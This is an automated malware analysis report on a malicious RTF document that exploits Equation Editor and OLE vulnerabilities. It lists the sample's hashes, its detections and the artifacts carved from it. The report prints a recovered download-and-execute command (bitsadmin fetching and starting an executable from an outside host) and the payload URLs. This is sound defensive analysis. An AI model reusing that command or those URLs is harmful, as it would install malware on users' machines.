Malicious RTF — malware analysis report

Static analysis result for SHA-256 4be78aebeb5354e8…

MALICIOUS

RTF

121.4 KB Created: 2018-09-01 14:04:00 First seen: 2019-01-11
MD5: 4805722e9b6b656906d3e6938373c23e SHA-1: 5aaaec7f6acc0c9a8a9179ed67a9c47c1af19dc3 SHA-256: 4be78aebeb5354e84bfd23786fcfab7dbec878db78b07c6559d2cfa2f545b263
302 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple critical heuristic firings indicating exploitation of CVE-2017-11882 (Equation Editor), CVE-2017-8759 (MSXML SAX OLE activation), and CVE-2026-21514 (Word/OLE security bypass). These vulnerabilities are leveraged to execute a payload, likely downloading a second-stage executable from the URL https://b.coka.la/p9iADB.exe. The presence of these exploits strongly suggests a malicious intent to compromise the user's system.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • CVE-2026-21514 — Word/OLE security bypass in RTF high CVE likely CVE_2026_21514
    RTF contains a hidden \svb hex package with DrsE2oDoc and downRevStg drawing compatibility parts. This matches an observed CVE-2026-21514 exploitation shape that manipulates Word's internal document structure and trust decisions.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://b.coka.la/p9iADB.exe In RTF body
    • https://b.coka.la/NEvr25.jpgIn RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000bbbe.bin rtf-objdata-decoded RTF \objdata at offset 0xBBBE 15960 bytes
SHA-256: 629ccd4cce7a5f209c0e687e8f1dd02e6668e2e771d6f72d7261fc1347099d94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): https://b.coka.la/p9iADB.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer zQ /priority foreground https://b.coka.la/p9iADB.exe %USERPROFILE%\documents.exe && start %USERPROFILE%\documents.exe & bitsadmin /trans
rtf_svb_00003185.zip rtf-svb-package RTF \svb hex-decoded ZIP at offset 0x3185 1774 bytes
SHA-256: 2e49f4fe0b48c06e33c35e8580ee650a70753e345216509b2ef583221f073319

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